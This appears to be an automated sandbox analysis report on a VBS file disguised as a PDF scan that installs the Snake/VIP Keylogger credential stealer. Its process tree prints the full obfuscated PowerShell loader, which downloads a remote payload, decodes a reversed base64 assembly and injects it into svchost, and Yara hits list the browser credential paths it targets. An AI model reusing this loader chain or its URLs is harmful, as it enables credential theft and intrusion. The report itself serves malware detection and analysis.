Edit tour

Windows Analysis Report
Scan12112024,pdf.vbs

Overview

General Information

Sample name:	Scan12112024,pdf.vbs
Analysis ID:	1554182
MD5:	3f17db10010a4ce43a4f0429179c9f55
SHA1:	0a562aa4ba586163f1016b68e028a77bce000490
SHA256:	025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765
Tags:	vbsuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected Powershell decode and execute

Yara detected Powershell download and execute

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VBS Downloader Generic

Yara detected VIP Keylogger

AI detected suspicious sample

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Obfuscated command line found

Potential malicious VBS script found (has network functionality)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows Shell Script Host drops VBS files

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6380 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 2608 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1432 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3232 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7440 cmdline: "C:\Windows\SysWOW64\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs	JoeSecurity_VBS_Downloader_Generic	Yara detected VBS Downloader Generic	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d3a:$a1: get_encryptedPassword 0x35d0e:$a2: get_encryptedUsername 0x35dd2:$a3: get_timePasswordChanged 0x35cea:$a4: get_passwordField 0x35d50:$a5: set_encryptedPassword 0x35b1d:$a7: get_logins 0x313ad:$a10: KeyLoggerEventArgs 0x3137c:$a11: KeyLoggerEventArgsEventHandler 0x35bf1:$a13: _encryptedPassword
0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fe2e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f4d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f72e:$a4: \Orbitum\User Data\Default\Login Data 0x4010d:$a5: \Kometa\User Data\Default\Login Data
0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f6:$s1: UnHook 0x33892:$s2: SetHook 0x338cb:$s3: CallNextHook 0x3385a:$s4: _hook
0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d3a:$a1: get_encryptedPassword 0x35d0e:$a2: get_encryptedUsername 0x35dd2:$a3: get_timePasswordChanged 0x35cea:$a4: get_passwordField 0x35d50:$a5: set_encryptedPassword 0x35b1d:$a7: get_logins 0x313ad:$a10: KeyLoggerEventArgs 0x3137c:$a11: KeyLoggerEventArgsEventHandler 0x35bf1:$a13: _encryptedPassword
0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fe2e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f4d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f72e:$a4: \Orbitum\User Data\Default\Login Data 0x4010d:$a5: \Kometa\User Data\Default\Login Data
0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f6:$s1: UnHook 0x33892:$s2: SetHook 0x338cb:$s3: CallNextHook 0x3385a:$s4: _hook
0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d48:$a1: get_encryptedPassword 0x35d1c:$a2: get_encryptedUsername 0x35de0:$a3: get_timePasswordChanged 0x35cf8:$a4: get_passwordField 0x35d5e:$a5: set_encryptedPassword 0x35b2b:$a7: get_logins 0x313bb:$a10: KeyLoggerEventArgs 0x3138a:$a11: KeyLoggerEventArgsEventHandler 0x35bff:$a13: _encryptedPassword
0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: powershell.exe PID: 1432	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc696c:$b2: ::FromBase64String( 0xc736a:$b2: ::FromBase64String( 0xc8522:$b2: ::FromBase64String( 0xc8c0a:$b2: ::FromBase64String( 0xc9414:$b2: ::FromBase64String( 0xc9ab5:$b2: ::FromBase64String( 0xe7470:$b2: ::FromBase64String( 0x19722:$b3: ::UTF8.GetString( 0x1bca2:$b3: ::UTF8.GetString( 0x1c5c8:$b3: ::UTF8.GetString( 0x1d6ba:$b3: ::UTF8.GetString( 0x4dbc3:$b3: ::UTF8.GetString( 0x4e555:$b3: ::UTF8.GetString( 0x4ee84:$b3: ::UTF8.GetString( 0x4fa41:$b3: ::UTF8.GetString( 0x5052a:$b3: ::UTF8.GetString( 0x6f4f9:$b3: ::UTF8.GetString( 0x6fe21:$b3: ::UTF8.GetString( 0x70e36:$b3: ::UTF8.GetString( 0x7189c:$b3: ::UTF8.GetString( 0x723cb:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 3232	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3232	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1b1dc:$b2: ::FromBase64String( 0x237d3:$b2: ::FromBase64String( 0x3cc98:$b2: ::FromBase64String( 0x3dc89:$b2: ::FromBase64String( 0x3fb66:$b2: ::FromBase64String( 0x4000e:$b2: ::FromBase64String( 0x1af7e:$b3: ::UTF8.GetString( 0x23575:$b3: ::UTF8.GetString( 0x3ca52:$b3: ::UTF8.GetString( 0x3da52:$b3: ::UTF8.GetString( 0x3f937:$b3: ::UTF8.GetString( 0x3fe15:$b3: ::UTF8.GetString( 0x10fd6:$s1: -join 0x1414a:$s1: -join 0x1b154:$s1: -join 0x2374b:$s1: -join 0x3cc11:$s1: -join 0x3dc04:$s1: -join 0x3fae1:$s1: -join 0x3ff93:$s1: -join 0x54a82:$s1: -join
Process Memory Space: svchost.exe PID: 7440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: svchost.exe PID: 7440	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: svchost.exe PID: 7440	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: svchost.exe PID: 7440	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20774:$a1: get_encryptedPassword 0x6be90:$a1: get_encryptedPassword 0xac853:$a1: get_encryptedPassword 0xebeae:$a1: get_encryptedPassword 0x20748:$a2: get_encryptedUsername 0x6be64:$a2: get_encryptedUsername 0xac827:$a2: get_encryptedUsername 0xebe82:$a2: get_encryptedUsername 0x2080c:$a3: get_timePasswordChanged 0x6bf28:$a3: get_timePasswordChanged 0xac8eb:$a3: get_timePasswordChanged 0xebf46:$a3: get_timePasswordChanged 0x20724:$a4: get_passwordField 0x6be40:$a4: get_passwordField 0xac803:$a4: get_passwordField 0xebe5e:$a4: get_passwordField 0x2078a:$a5: set_encryptedPassword 0x6bea6:$a5: set_encryptedPassword 0xac869:$a5: set_encryptedPassword 0xebec4:$a5: set_encryptedPassword 0x20560:$a7: get_logins
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.svchost.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
13.2.svchost.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
13.2.svchost.exe.3374f2e.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.3374f2e.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.3374f2e.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.svchost.exe.3374f2e.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
13.2.svchost.exe.7990000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.7990000.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.7990000.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.svchost.exe.7990000.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33f3a:$a1: get_encryptedPassword 0x33f0e:$a2: get_encryptedUsername 0x33fd2:$a3: get_timePasswordChanged 0x33eea:$a4: get_passwordField 0x33f50:$a5: set_encryptedPassword 0x33d1d:$a7: get_logins 0x2f5ad:$a10: KeyLoggerEventArgs 0x2f57c:$a11: KeyLoggerEventArgsEventHandler 0x33df1:$a13: _encryptedPassword
13.2.svchost.exe.7d50000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.7d50000.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.7d50000.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.3.svchost.exe.326f000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.7990f20.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.7990f20.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.svchost.exe.7990f20.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.7990f20.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.svchost.exe.7d50000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.7d50000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.svchost.exe.7d50000.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.7d50000.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.svchost.exe.7990000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.7990000.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.svchost.exe.7990000.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.7990000.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.svchost.exe.7990f20.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.7990f20.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.7990f20.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
